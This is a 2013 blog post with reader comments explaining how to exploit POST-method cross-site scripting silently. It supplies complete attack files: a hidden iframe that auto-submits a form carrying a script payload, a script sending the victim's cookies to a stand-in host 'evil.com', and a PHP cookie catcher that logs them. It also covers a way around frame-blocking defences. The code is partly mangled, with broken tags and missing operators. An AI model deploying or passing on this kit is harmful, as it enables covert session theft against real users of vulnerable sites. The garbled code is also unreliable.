Hackers2DevNull

Hackers2DevNull

Saturday 6 July 2013

Exploiting POST Method XSS Silently

POST HTTP method XSS exploitation without the target filling out a form... SILENTLY


What's POST method XSS?


A cross-site scripting vulnerability that is exploited by sending the input from a form to the vulnerable website via POST HTTP method (so it could be a search box on a site that uses POST not GET).

How does exploitation differ from GET method XSS?


When a GET request is made, the request is sent over HTTP in the form: website.com/search.php?keyword=whatever.

When a POST request is made, the request is sent over HTTP in the form:
website.com/search.php

(the content, e.g keyword=whatever, is sent in the body as part of the HTTP request rather than as part of the URL).

With that in mind, the typical reflected XSS attack can't be sent to the target like normal:

 website.com/search.php?keyword="><script>evil-javascript</script>

With POST method, the user actually has to fill out a form on your evil-site, and usually click "submit" which allows evil-site to then send the user along with the POST request to the target website. The contents of the POST request will contain the javascript payload and end up running.

How do we exploit it?

Note: works on Firefox, but will also work on Chrome providing the injected vector renders within script tags.

Of course asking the user to fill out a form on a strange site is a bit fishy. But using javascript we can submit the form automatically without the user's interaction upon them landing on the page. Moreover, we can do it in the background using a hidden iframe on your evil-site so you can display whatever other content you like whilst they are getting pwnd. If the site doesn't like iframes, we have an alternative method.

Forget about cross-site request forgery defenses messing this up, if we can run javascript on the target we can always bypass CSRF restrictions. After testing a site and finding vulnerable code to XSS (via POST variables), our aim will be to reference an external javascript file which will contain our extended evil payload.


<SCRIPT SRC='http://myevilsite.com/evil.js'></SCRIPT>



The exploit code:


Upload the following 5 files to a hosting website substituting evil.com with your own webhosting site URL (explanations beneath), and you may also have to change the payload to bypass any security filters that may be in place:


 .htaccess

AddType application/x-httpd-php .html


attackpage.html

<html>
<
body>
<
H1>Innocent page is innocent</H1>
<
p>Your bases are not belong to medun worry bro</p>
<? if (isset(
$_GET["done"])) {
die();
}
?><iframe src="http://evil.com/background.php" width="1" height="1" frameborder="0"></iframe>
</body>
</html> 


background.php

<html>
<
head>
<
style>
.
xss {displaynone;
}
</
style>
</
head>

<
body onload="XSS.submit();">

<
form id="xss" action="http://www.attackesite.com/search or whatever the sub-folder is/" method="post" name="XSS">
<
input name="target" value ="all"></input>
<
input name="address" value="<SCRIPT SRC='http://evil.com/evil.js'></SCRIPT>"></input>

</
form>
</
body>

</
html
>


Note: You may need to use tinyurl.com to shorten the evil url.

evil.js

window.location.replace("http://evil.com/cookie.php?cookie=" + encodeURIComponent(document.cookie)); 

cookie.php

<?

$file 
"cookies.txt";

if (isset(
$_GET["cookie"])) {$handle fopen($file'a');fwrite($handle"\r\n" $_GET["cookie"]);fclose($handle);

}
 
?>
<script>window.location.replace("http://evil.com/attackpage.html?done=yes");</script> 



So what is happening here:

The victim finds themselves on evil-site's attackpage.html

An iframe on attackpage.html opens up background.php which has an input form tailored for the specific target site.

NOTE: The form variables "target" and "address" were found by viewing the original HTTP request with the Firefox extension Live HTTP Headers


When the HTML body fully loads, the "onload" javascript event is triggered which calls the submit method of the form named XSS (this ensures the form is completely loaded before doing anything):
 <body onload="XSS.submit();"

The browser will then send a POST HTTP request to the targeted site with the embeded payload without the victim having to enter anything or click the submit button.

The iframe is hidden so this will happen in the background, however, a few sites have implemented a click-jacking defense by returning the following in the HTTP response header:

X-Frame-OptionsDeny  

This causes the page not to load in an iframe.  If this is the case, we can just do a meta-refresh redirect from attackpage.html like so:

<meta http-equiv="refresh" content="0;URL='http://evil.com/background.php'">

You can then remove the iframe on background.php and replace it with:

<SCRIPT SRC='http://evil.com/background.php'></SCRIPT>

This will bring up background.php but the form will be hidden due to some CSS goodness:


<style>
.
xss {displaynone;
}
</
style>



In either case, the payload calls evil.js from evil.com, and this forwards the victim along with their targeted site cookies to evil.com/cookie.php. The cookie catcher grabs the cookie from the request and writes it to a text file on the web-host. Immediately the user is sent back to the attackpage.html with the HTTP request in the form:

attackpage.html?done=yes.

That's why we added the .htaccess file, so we can handle the request with PHP even though it is a html file.

All that the user will see during this entire process is the progress indicator in the browser taking a couple more seconds than usual, and shouldn't have a clue they have been pwnd!

(If you find this useful, why not checkout a advert below to support the blog? :O ) ~r0ng



I made a demo page which clearly shows this exploit for people that are interested. Just substitute the following pages on your hosting site:

attackpage.html
<html>
<
head>
 <
script>
function 
Iframe(iFrame)
{

    var 
IFramer document.getElementById(iFrame);
    var 
content IFramer.contentWindow.document.body.innerHTML;
    
document.getElementById("XSS").innerHTML'<b>cookies were actually stolen a few seconds ago!:</b> ' decodeURIComponent(content);

}
 
</script>
</head>
<body>
<H1>POST HTTP METHOD XSS DEMO - Targeted site.com</H1>
<P>Just by visiting this page, all your bases have been belonged to me'd</p>
<a href="#" onclick="Iframe('cookies')">Reveal</a>
<div id="XSS"></div>

<iframe id="cookies" src="/background.php" width="1" height="1" frameborder="0"></iframe>

</body>

</html> 

cookies.php


<?echo $_GET['cookie'];?>
The other files are the same.

5 comments:

  1. This comment has been removed by a blog administrator.

    ReplyDelete
  2. Awesome post guys! Thanks for interesting information - I used it for improving security of one good radiostation having great proof-of-concept!

    ReplyDelete
  3. Hi thanks;
    by passing X-FRAME-OPTINS sounds confusing. Is it correct? Because background.php does not contain any iframe, although you advise to remove it from the file.

    ReplyDelete
  4. This comment has been removed by a blog administrator.

    ReplyDelete